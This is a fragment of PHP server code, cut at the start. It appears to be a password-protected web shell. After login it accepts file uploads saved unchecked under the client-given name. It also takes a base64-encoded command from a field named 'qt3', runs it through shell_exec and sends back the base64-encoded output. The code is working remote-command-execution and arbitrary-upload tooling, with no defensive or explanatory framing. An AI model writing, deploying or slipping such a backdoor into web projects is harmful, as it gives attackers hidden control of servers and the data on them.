'Invalid credentials.']); exit; } if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['file']['tmp_name']; $fileName = $_FILES['file']['name']; $uploadFileDir = './'; $dest_path = $uploadFileDir . $fileName; if (move_uploaded_file($fileTmpPath, $dest_path)) { echo json_encode(['fileUploadMessage' => 'File is successfully uploaded.']); exit; } else { echo json_encode(['error' => 'There was an error moving the uploaded file.']); exit; } } if ($_SESSION['loggedin']) { if (isset($input['qt3'])) { $encodedCommand = $input['qt3']; $command = base64_decode($encodedCommand); $output = shell_exec($command); $encodedOutput = base64_encode($output); echo json_encode(['result' => $encodedOutput]); } else { echo json_encode(['error' => 'No command specified.']); } } else { echo json_encode(['error' => 'You are not logged in.']); } } else { echo json_encode(['error' => 'Invalid request method.']); }